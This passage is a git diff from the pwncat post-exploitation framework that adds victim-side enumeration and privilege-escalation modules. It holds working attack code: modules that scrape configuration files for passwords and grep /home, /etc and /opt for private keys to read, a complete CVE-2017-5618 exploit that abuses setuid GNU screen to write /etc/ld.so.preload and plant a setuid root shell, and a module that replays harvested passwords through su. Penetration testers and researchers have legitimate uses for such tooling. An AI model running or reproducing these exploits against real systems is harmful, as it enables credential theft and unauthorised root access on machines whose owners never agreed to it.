re.IGNORECASE) + if match is not None: + password = match.group(1).strip() + + # Check for dictionary is perl + match = re.search( + r"password[\"']?\s+=>(.*)", content, re.IGNORECASE + ) + if match is not None: + password = match.group(1).strip() + + # Don't mark empty passwords + if password is not None and password == "": + password = None + + if password is not None: + _, extension = os.path.splitext(path) + + # Ensure that this is a constant string. For code file types, + # this is normally indicated by the string being surrounded by + # either double or single quotes. + if extension in code_types: + if password[-1] == ";": + password = password[:-1] + if password[0] == '"' and password[-1] == '"': + password = password.strip('"') + elif password[0] == "'" and password[-1] == "'": + password = password.strip("'") + else: + # This wasn't assigned to a constant, it's not helpful to us + password = None + + # Empty quotes? :( + if password == "": + password = None + + # This was a match for the search. We may have extracted a + # password. Either way, log it. + yield "creds.password", PasswordData(password, path, lineno) diff --git a/pwncat/modules/enumerate/creds/private_key.py b/pwncat/modules/enumerate/creds/private_key.py new file mode 100644 index 0000000..9e784d7 --- /dev/null +++ b/pwncat/modules/enumerate/creds/private_key.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python3 +from Crypto.PublicKey import RSA + +import pwncat +from pwncat.platform import Platform +from pwncat.modules import Status +from pwncat.modules.enumerate import EnumerateModule, Schedule +from pwncat.modules.enumerate.creds import PrivateKeyData + + +class Module(EnumerateModule): + """ + Search the victim file system for configuration files which may + contain passwords. This uses a regular expression based search + to abstractly extract things which look like variable assignments + within configuration files that look like passwords. + """ + + PROVIDES = ["creds.private_key"] + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.PER_USER + + def enumerate(self): + + facts = [] + + # Search for private keys in common locations + with pwncat.victim.subprocess( + "grep -l -I -D skip -rE '^-+BEGIN .* PRIVATE KEY-+$' /home /etc /opt 2>/dev/null | xargs stat -c '%u %n' 2>/dev/null" + ) as pipe: + yield Status("searching for private keys") + for line in pipe: + line = line.strip().decode("utf-8").split(" ") + uid, path = int(line[0]), " ".join(line[1:]) + yield Status(f"found [cyan]{path}[/cyan]") + facts.append(PrivateKeyData(uid, path, None, False)) + + for fact in facts: + try: + yield Status(f"reading [cyan]{fact.path}[/cyan]") + with pwncat.victim.open(fact.path, "r") as filp: + fact.content = filp.read().strip().replace("\r\n", "\n") + + try: + # Try to import the key to test if it's valid and if there's + # a passphrase on the key. An "incorrect checksum" ValueError + # is raised if there's a key. Not sure what other errors may + # be raised, to be honest... + RSA.importKey(fact.content) + except ValueError as exc: + if "incorrect checksum" in str(exc).lower(): + # There's a passphrase on this key + fact.encrypted = True + else: + # Some other error happened, probably not a key + continue + yield "creds.private_key", fact + except (PermissionError, FileNotFoundError): + continue diff --git a/pwncat/modules/enumerate/file/__init__.py b/pwncat/modules/enumerate/file/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/pwncat/modules/enumerate/caps.py b/pwncat/modules/enumerate/file/caps.py similarity index 100% rename from pwncat/modules/enumerate/caps.py rename to pwncat/modules/enumerate/file/caps.py diff --git a/pwncat/modules/enumerate/suid.py b/pwncat/modules/enumerate/file/suid.py similarity index 100% rename from pwncat/modules/enumerate/suid.py rename to pwncat/modules/enumerate/file/suid.py diff --git a/pwncat/modules/enumerate/hostname.py b/pwncat/modules/enumerate/hostname.py deleted file mode 100644 index 101b13a..0000000 --- a/pwncat/modules/enumerate/hostname.py +++ /dev/null @@ -1,40 +0,0 @@ -#!/usr/bin/env python3 -from typing import List -import dataclasses - -import pwncat -from pwncat.platform import Platform -from pwncat import util -from pwncat.modules.enumerate import EnumerateModule, Schedule - - -class Module(EnumerateModule): - """ - Enumerate system hostname facts - :return: A generator of hostname facts - """ - - PROVIDES = ["network.hostname"] - PLATFORM = Platform.LINUX - - def enumerate(self): - - try: - hostname = pwncat.victim.env(["hostname", "-f"]).decode("utf-8").strip() - yield "network.hostname", hostname - return - except FileNotFoundError: - pass - - try: - hostname = pwncat.victim.env(["hostnamectl"]).decode("utf-8").strip() - hostname = hostname.replace("\r\n", "\n").split("\n") - for name in hostname: - if "static hostname" in name.lower(): - hostname = name.split(": ")[1] - yield "network.hostname", hostname - return - except (FileNotFoundError, IndexError): - pass - - return diff --git a/pwncat/modules/enumerate/kernel.py b/pwncat/modules/enumerate/kernel.py deleted file mode 100644 index d301225..0000000 --- a/pwncat/modules/enumerate/kernel.py +++ /dev/null @@ -1,70 +0,0 @@ -#!/usr/bin/env python3 -from typing import List -import dataclasses - -import pwncat -from pwncat.platform import Platform -from pwncat import util -from pwncat.modules.enumerate import EnumerateModule, Schedule - - -@dataclasses.dataclass -class KernelVersionData: - """ - Represents a W.X.Y-Z kernel version where W is the major version, - X is the minor version, Y is the patch, and Z is the ABI. - - This explanation came from here: - https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called - """ - - major: int - minor: int - patch: int - abi: str - - def __str__(self): - return ( - f"Running Linux Kernel [red]{self.major}[/red]." - f"[green]{self.minor}[/green]." - f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]" - ) - - -class Module(EnumerateModule): - """ - Enumerate kernel/OS version information - :return: - """ - - PROVIDES = ["system.kernel"] - PLATFORM = Platform.LINUX - - def enumerate(self): - - # Try to find kernel version number - try: - kernel = pwncat.victim.env(["uname", "-r"]).strip().decode("utf-8") - if kernel == "": - raise FileNotFoundError - except FileNotFoundError: - try: - with pwncat.victim.open("/proc/version", "r") as filp: - kernel = filp.read() - except (PermissionError, FileNotFoundError): - kernel = None - - # Parse the kernel version number - if kernel is not None: - kernel = kernel.strip() - # We got the full "uname -a" style output - if kernel.lower().startswith("linux"): - kernel = kernel.split(" ")[2] - - # Split out the sections - w, x, *y_and_z = kernel.split(".") - y_and_z = ".".join(y_and_z).split("-") - y = y_and_z[0] - z = "-".join(y_and_z[1:]) - - yield "system.kernel", KernelVersionData(int(w), int(x), int(y), z) diff --git a/pwncat/modules/enumerate/software/__init__.py b/pwncat/modules/enumerate/software/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/pwncat/modules/enumerate/software/screen.py b/pwncat/modules/enumerate/software/screen.py new file mode 100644 index 0000000..c3e91e3 --- /dev/null +++ b/pwncat/modules/enumerate/software/screen.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +import dataclasses +import os +import re +import shlex + +import pwncat +from pwncat.modules.enumerate import EnumerateModule, Schedule +from pwncat.platform import Platform + + +@dataclasses.dataclass +class ScreenVersion: + + path: str + perms: int + vulnerable: bool = True + + def __str__(self): + return f"[cyan]{self.path}[/cyan] (perms: [blue]{oct(self.perms)[2:]}[/blue])" + + +class Module(EnumerateModule): + + PROVIDES = ["software.screen.version"] + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.ONCE + + def enumerate(self): + """ + Enumerate kernel/OS version information + :return: + """ + + # Grab current path plus other interesting paths + paths = set(pwncat.victim.getenv("PATH").split(":")) + paths = paths | { + "/bin", + "/sbin", + "/usr/local/bin", + "/usr/local/sbin", + "/usr/bin", + "/usr/sbin", + } + + # Look for matching binaries + with pwncat.victim.subprocess( + f"find {shlex.join(paths)} \\( -type f -or -type l \\) -executable \\( -name 'screen' -or -name 'screen-*' \\) -printf '%#m %p\\n' 2>/dev/null" + ) as pipe: + for line in pipe: + line = line.decode("utf-8").strip() + perms, *path = line.split(" ") + path = " ".join(path) + perms = int(perms, 8) + + # When the screen source code is on disk and marked as executable, this happens... + if os.path.splitext(path)[1] in [".c", ".o", ".h"]: + continue + + yield "software.screen.version", ScreenVersion(path, perms) diff --git a/pwncat/modules/enumerate/software/sudo/__init__.py b/pwncat/modules/enumerate/software/sudo/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/pwncat/modules/enumerate/sudoers.py b/pwncat/modules/enumerate/software/sudo/rules.py similarity index 98% rename from pwncat/modules/enumerate/sudoers.py rename to pwncat/modules/enumerate/software/sudo/rules.py index 74337ff..1f4acd7 100644 --- a/pwncat/modules/enumerate/sudoers.py +++ b/pwncat/modules/enumerate/software/sudo/rules.py @@ -136,7 +136,7 @@ def LineParser(line): class Module(EnumerateModule): """ Enumerate sudo privileges for the current user. """ - PROVIDES = ["sudo.rule"] + PROVIDES = ["software.sudo.rule"] PLATFORM = Platform.LINUX SCHEDULE = Schedule.PER_USER @@ -182,4 +182,4 @@ class Module(EnumerateModule): # Build the beginning part of a normal spec line = f"{pwncat.victim.current_user.name} local=" + line.strip() - yield "sudo.rule", LineParser(line) + yield "software.sudo.rule", LineParser(line) diff --git a/pwncat/modules/enumerate/sudo_version.py b/pwncat/modules/enumerate/software/sudo/version.py similarity index 95% rename from pwncat/modules/enumerate/sudo_version.py rename to pwncat/modules/enumerate/software/sudo/version.py index 89967bf..7a0d188 100644 --- a/pwncat/modules/enumerate/sudo_version.py +++ b/pwncat/modules/enumerate/software/sudo/version.py @@ -37,7 +37,7 @@ class SudoVersion: class Module(EnumerateModule): - PROVIDES = ["sudo.version"] + PROVIDES = ["software.sudo.version"] PLATFORM = Platform.LINUX SCHEDULE = Schedule.ONCE @@ -89,4 +89,4 @@ class Module(EnumerateModule): # We couldn't parse the version out, but at least give the full version # output in the long form/report of enumeration. - yield "sudo.version", SudoVersion("unknown", result, False) + yield "software.sudo.version", SudoVersion("unknown", result, False) diff --git a/pwncat/modules/enumerate/aslr.py b/pwncat/modules/enumerate/system/aslr.py similarity index 100% rename from pwncat/modules/enumerate/aslr.py rename to pwncat/modules/enumerate/system/aslr.py diff --git a/pwncat/modules/enumerate/container.py b/pwncat/modules/enumerate/system/container.py similarity index 100% rename from pwncat/modules/enumerate/container.py rename to pwncat/modules/enumerate/system/container.py diff --git a/pwncat/modules/enumerate/distro.py b/pwncat/modules/enumerate/system/distro.py similarity index 100% rename from pwncat/modules/enumerate/distro.py rename to pwncat/modules/enumerate/system/distro.py diff --git a/pwncat/modules/enumerate/hosts.py b/pwncat/modules/enumerate/system/hosts.py similarity index 100% rename from pwncat/modules/enumerate/hosts.py rename to pwncat/modules/enumerate/system/hosts.py diff --git a/pwncat/modules/enumerate/init.py b/pwncat/modules/enumerate/system/init.py similarity index 100% rename from pwncat/modules/enumerate/init.py rename to pwncat/modules/enumerate/system/init.py diff --git a/pwncat/modules/enumerate/system/process.py b/pwncat/modules/enumerate/system/process.py new file mode 100644 index 0000000..72bb60f --- /dev/null +++ b/pwncat/modules/enumerate/system/process.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +from typing import List +import dataclasses +import shlex + +import pwncat +from pwncat.platform import Platform +from pwncat.modules.enumerate import EnumerateModule, Schedule + + +@dataclasses.dataclass +class ProcessData: + """ A single process from the `ps` output """ + + uid: int + pid: int + ppid: int + argv: List[str] + + def __str__(self): + if isinstance(self.uid, str): + user = self.uid + color = "yellow" + else: + if self.uid == 0: + color = "red" + elif self.uid < 1000: + color = "blue" + else: + color = "magenta" + + # Color our current user differently + if self.uid == pwncat.victim.current_user.id: + color = "lightblue" + + user = self.user.name + + result = f"[{color}]{user:>10s}[/{color}] " + result += f"[magenta]{self.pid:<7d}[/magenta] " + result += f"[lightblue]{self.ppid:<7d}[/lightblue] " + result += f"[cyan]{shlex.join(self.argv)}[/cyan]" + + return result + + @property + def user(self) -> pwncat.db.User: + return pwncat.victim.find_user_by_id(self.uid) + + +class Module(EnumerateModule): + """ + Extract the currently running processes. This will parse the + process information and give you access to the user, parent + process, command line, etc as with the `ps` command. + + This is only run once unless manually cleared. + """ + + PROVIDES = ["system.process"] + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.ONCE + + def enumerate(self): + + try: + with pwncat.victim.subprocess( + ["ps", "-eo", "pid,ppid,user,command", "--no-header", "-ww"], "r" + ) as filp: + # Iterate over each process + for line in filp: + line = line.strip().decode("utf-8") + + entities = line.split() + pid, ppid, username, *argv = entities + if username not in pwncat.victim.users: + uid = username + else: + uid = pwncat.victim.users[username].id + + command = " ".join(argv) + # Kernel threads aren't helpful for us + if command.startswith("[") and command.endswith("]"): + continue + + pid = int(pid) + ppid = int(ppid) + + yield "system.process", ProcessData(uid, pid, ppid, argv) + except (FileNotFoundError, PermissionError): + return diff --git a/pwncat/modules/enumerate/system/services.py b/pwncat/modules/enumerate/system/services.py index 6039b8e..82510d8 100644 --- a/pwncat/modules/enumerate/system/services.py +++ b/pwncat/modules/enumerate/system/services.py @@ -50,7 +50,9 @@ class Module(EnumerateModule): def enumerate(self): - for fact in pwncat.modules.run("enumerate.init", progress=self.progress): + for fact in pwncat.modules.run( + "enumerate.gather", types=["system.init"], progress=self.progress + ): if fact.data.init != Init.SYSTEMD: return break diff --git a/pwncat/modules/enumerate/system/uname.py b/pwncat/modules/enumerate/system/uname.py new file mode 100644 index 0000000..ef5cad1 --- /dev/null +++ b/pwncat/modules/enumerate/system/uname.py @@ -0,0 +1,144 @@ +#!/usr/bin/env python3 +from typing import List, Optional +import dataclasses +import pkg_resources +import json + +import pwncat +from pwncat.platform import Platform +from pwncat import util +from pwncat.modules.enumerate import EnumerateModule, Schedule + + +@dataclasses.dataclass +class ArchData: + """ + Simply the architecture of the remote machine. This class + wraps the architecture name in a nicely printable data + class. + """ + + arch: str + """ The determined architecture. """ + + def __str__(self): + return f"Running on a [cyan]{self.arch}[/cyan] processor" + + +@dataclasses.dataclass +class KernelVersionData: + """ + Represents a W.X.Y-Z kernel version where W is the major version, + X is the minor version, Y is the patch, and Z is the ABI. + + This explanation came from here: + https://askubuntu.com/questions/843197/what-are-kernel-version-number-components-w-x-yy-zzz-called + """ + + major: int + minor: int + patch: int + abi: str + + def __str__(self): + return ( + f"Running Linux Kernel [red]{self.major}[/red]." + f"[green]{self.minor}[/green]." + f"[blue]{self.patch}[/blue]-[cyan]{self.abi}[/cyan]" + ) + + +@dataclasses.dataclass +class KernelVulnerabilityData: + """ + Data describing a kernel vulnerability which appears to be exploitable + on the remote host. This is **not** guaranteed to be exploitable, however + the kernel version number lines up. The `working` property can be + modified by other modules (e.g. escalate modules) after attempting this + vulnerability. + """ + + name: str + versions: List[str] + link: Optional[str] + cve: Optional[str] + # All exploits are assumed working, but can be marked as not working + working: bool = True + + def __str__(self): + line = f"[red]{self.name}[/red]" + if self.cve is not None: + line += f" ([cyan]CVE-{self.cve}[/cyan])" + return line + + @property + def description(self): + line = f"Affected Versions: {repr(self.versions)}\n" + if self.link: + line += f"Details: {self.link}" + return line + + +class Module(EnumerateModule): + """ + Enumerate standard system properties provided by the + `uname` command. This will enumerate the kernel name, + version, hostname (nodename), machine hardware name, + and operating system name (normally GNU/Linux). + + This module also provides a similar enumeration to the + common Linux Exploit Suggestor, and will report known + vulnerabilities which are applicable to the detected + kernel version. + """ + + PROVIDES = [ + "system.kernel.version", + "system.hostname", + "system.arch", + "system.kernel.vuln", + ] + PLATFORM = Platform.LINUX + SCHEDULE = Schedule.ONCE + + def enumerate(self): + """ Run uname and organize information """ + + # Grab the uname output + output = pwncat.victim.run("uname -s -n -r -m -o").decode("utf-8").strip() + fields = output.split(" ") + + # Grab the components + # kernel_name = fields[0] if fields else None + hostname = fields[1] if len(fields) > 1 else None + kernel_revision = fields[2] if len(fields) > 2 else None + machine_name = fields[3] if len(fields) > 3 else None + # operating_system = fields[4] if len(fields) > 4 else None + + # Handle kernel versions + w, x, *y_and_z = kernel_revision.split(".") + y_and_z = ".".join(y_and_z).split("-") + y = y_and_z[0] + z = "-".join(y_and_z[1:]) + version = KernelVersionData(int(w), int(x), int(y), z) + yield "system.kernel.version", version + + # Handle arch + yield "system.arch", ArchData(machine_name) + + # Handle Hostname + yield "system.hostname", hostname + + # Handle Kernel vulnerabilities + with open( + pkg_resources.resource_filename("pwncat", "data/lester.json") + ) as filp: + vulns = json.load(filp) + + version_string = f"{version.major}.{version.minor}.{version.patch}" + for name, vuln in vulns.items(): + if version_string not in vuln["vuln"]: + continue + yield "system.kernel.vuln", KernelVulnerabilityData( + name, vuln["vuln"], vuln.get("mil", None), vuln.get("cve", None) + ) diff --git a/pwncat/modules/escalate/cve2019-14287.py b/pwncat/modules/escalate/cve2019-14287.py index 7ab24d9..bf0f1b0 100644 --- a/pwncat/modules/escalate/cve2019-14287.py +++ b/pwncat/modules/escalate/cve2019-14287.py @@ -25,7 +25,7 @@ class Module(EscalateModule): sudo_fixed_version = "1.8.28" for fact in pwncat.modules.run( - "enumerate.sudo_version", progress=self.progress + "enumerate.software.sudo.version", progress=self.progress ): sudo_version = fact break @@ -37,7 +37,9 @@ class Module(EscalateModule): return rules = [] - for fact in pwncat.modules.run("enumerate.sudoers", progress=self.progress): + for fact in pwncat.modules.run( + "enumerate.software.sudo.rules", progress=self.progress + ): # Doesn't appear to be a user specification if not fact.data.matched: diff --git a/pwncat/modules/escalate/screen.py b/pwncat/modules/escalate/screen.py new file mode 100644 index 0000000..f84ba85 --- /dev/null +++ b/pwncat/modules/escalate/screen.py @@ -0,0 +1,158 @@ +#!/usr/bin/env python3 +import re +import textwrap +from io import StringIO + +import pwncat +from pwncat.gtfobins import Capability +from pwncat.modules.escalate import EscalateError, EscalateModule, Technique + + +class ScreenTechnique(Technique): + """ Implements the actual escalation technique """ + + def __init__(self, module, screen): + super(ScreenTechnique, self).__init__(Capability.SHELL, "root", module) + + self.screen = screen + + def exec(self, binary: str): + """ Run a binary as another user """ + + # Write the rootshell source code + rootshell_source = textwrap.dedent( + f""" + #include + int main(void){{ + setuid(0); + setgid(0); + seteuid(0); + setegid(0); + execvp("{binary}", NULL, NULL); + }} + """ + ).lstrip() + + # Compile the rootshell binary + try: + rootshell = pwncat.victim.compile([StringIO(rootshell_source)]) + except pwncat.util.CompilationError as exc: + raise EscalateError(f"compilation failed: {exc}") + + rootshell_tamper = pwncat.victim.tamper.created_file(rootshell) + + # Write the library + libhack_source = textwrap.dedent( + f""" + #include + #include + #include + __attribute__ ((__constructor__)) + void dropshell(void){{ + chown("{rootshell}", 0, 0); + chmod("{rootshell}", 04755); + unlink("/etc/ld.so.preload"); + }} + """ + ).lstrip() + + # Compile libhack + try: + libhack_so = pwncat.victim.compile( + [StringIO(libhack_source)], + cflags=["-fPIC", "-shared"], + ldflags=["-ldl"], + ) + except pwncat.util.CompilationError: + pwncat.victim.tamper.remove(rootshell_tamper) + raise EscalateError("compilation failed: {exc}") + + # Switch to /etc but save our previous directory so we can return to it + old_cwd = pwncat.victim.chdir("/etc") + + # Run screen with our library, saving the umask before changing it + start_umask = pwncat.victim.run("umask").decode("utf-8").strip() + pwncat.victim.run("umask 000") + + # Run screen, loading our library and causing our rootshell to be SUID + pwncat.victim.run( + f'{self.screen.path} -D -m -L ld.so.preload echo -ne "{libhack_so}"' + ) + + # Trigger the exploit + pwncat.victim.run(f"{self.screen.path} -ls") + + # We no longer need the shared object + pwncat.victim.env(["rm", "-f", libhack_so]) + + # Reset umask to the saved value + pwncat.victim.run(f"umask {start_umask}") + + # Check if the file is owned by root + file_owner = pwncat.victim.run(f"stat -c%u {rootshell}").strip() + if file_owner != b"0": + + # Hop back to the original directory + pwncat.victim.chdir(old_cwd) + + # Ensure the files are removed + pwncat.victim.tamper.remove(rootshell_tamper) + + raise EscalateError("failed to create root shell") + + # Hop back to the original directory + pwncat.victim.chdir(old_cwd) + + # Start the root shell! + pwncat.victim.run(rootshell, wait=False) + + return "exit" + + +class Module(EscalateModule): + """ + Utilize binaries marked SETUID to escalate to a different user. + This module uses the GTFOBins library to generically locate + payloads for binaries with excessive permissions. + """ + + PLATFORM = pwncat.platform.Platform.LINUX + + def enumerate(self): + """ Enumerate SUID binaries """ + + for fact in pwncat.modules.run( + "enumerate.gather", + progress=self.progress, + types=["software.screen.version"], + ): + if fact.data.vulnerable and fact.data.perms & 0o4000: + + # Carve out the version of screen + version_output = ( + pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip() + ) + match = re.search(r"(\d+\.\d+\.\d+)", version_output) + if not match: + continue + + # We know the version of screen, check if it is vulnerable... + version_triplet = [int(x) for x in match.group().split(".")] + + if version_triplet[0] > 4: + continue + + if version_triplet[0] == 4 and version_triplet[1] > 5: + continue + + if ( + version_triplet[0] == 4 + and version_triplet[1] == 5 + and version_triplet[2] >= 1 + ): + continue + + yield ScreenTechnique(self, fact.data) + + def human_name(self, tech: ScreenTechnique): + return f"[cyan]{tech.screen.path}[/cyan] (setuid [red]CVE-2017-5618[/red])" diff --git a/pwncat/modules/escalate/setuid.py b/pwncat/modules/escalate/setuid.py index 540af57..168ab15 100644 --- a/pwncat/modules/escalate/setuid.py +++ b/pwncat/modules/escalate/setuid.py @@ -7,6 +7,7 @@ from pwncat.modules.escalate import ( EscalateModule, EscalateError, GTFOTechnique, + Technique, euid_fix, ) diff --git a/pwncat/modules/escalate/su.py b/pwncat/modules/escalate/su.py new file mode 100644 index 0000000..e469155 --- /dev/null +++ b/pwncat/modules/escalate/su.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 + +import pwncat +from pwncat.gtfobins import BinaryNotFound, Capability, Stream +from pwncat.modules import Status +from pwncat.modules.escalate import EscalateError, EscalateModule, Technique, euid_fix +from pwncat.util import Access + + +class SuTechnique(Technique): + """ Execute `su` with the given password """ + + def __init__(self, module: EscalateModule, user: str, password: str): + super(SuTechnique, self).__init__(Capability.SHELL, user, module) + + self.password = password + + def exec(self, binary: str): + + current_user = pwncat.victim.current_user + + password = self.password.encode("utf-8") + + if current_user.name != "root": + # Send the su command, and check if it succeeds + pwncat.victim.run( + f'su {self.user} -c "echo good"', wait=False, + ) + + pwncat.victim.recvuntil(": ") + pwncat.victim.client.send(password + b"\n") + + # Read the response (either "Authentication failed" or "good") + result = pwncat.victim.recvuntil("\n") + # Probably, the password wasn't echoed. But check all variations. + if password in result or result == b"\r\n" or result == b"\n": + result = pwncat.victim.recvuntil("\n") + + if b"failure" in result.lower() or b"good" not in result.lower(): + raise EscalateError(f"{self.user}: invalid password") + + pwncat.victim.process(f"su {self.user}", delim=False) + + if current_user.name != "root": + pwncat.victim.recvuntil(": ") + pwncat.victim.client.sendall(password + b"\n") + pwncat.victim.flush_output() + + return "exit" + + +class Module(EscalateModule): + """ + Utilize known passwords to execute commands as other users. + """ + + PLATFORM = pwncat.platform.Platform.LINUX + + def enumerate(self): + """ Enumerate SUID binaries """ + + current_user = pwncat.victim.whoami() + + for user, info in pwncat.victim.users.items(): + if user == current_user: + continue + if info.password is not None or current_user == "root": + yield SuTechnique(self, user, info.password) + + def human_name(self, tech: "Technique"): + return "[red]known password[/red]" diff --git a/pwncat/modules/escalate/sudo.py b/pwncat/modules/escalate/sudo.py index 1cd3c9d..adfef35 100644 --- a/pwncat/modules/escalate/sudo.py +++ b/pwncat/modules/escalate/sudo.py @@ -22,7 +22,9 @@ class Module(EscalateModule): def enumerate(self): """ Enumerate SUDO permissions """ rules = [] - for fact in pwncat.modules.run("enumerate.sudoers", progress=self.progress): + for fact in pwncat.modules.run( + "enumerate.software.sudo.rules", progress=self.progress + ): # Doesn't appear to be a user specification if not fact.data.matched: diff --git a/pwncat/privesc/screen.py b/pwncat/privesc/screen.py index c6805c0..5a72e49 100644 --- a/pwncat/privesc/screen.py +++ b/pwncat/privesc/screen.py @@ -7,7 +7,7 @@ from typing import List import pwncat from pwncat.gtfobins import Capability -from pwncat.privesc import Technique, BaseMethod, PrivescError +from pwncat.privesc import BaseMethod, PrivescError, Technique from pwncat.util import CompilationError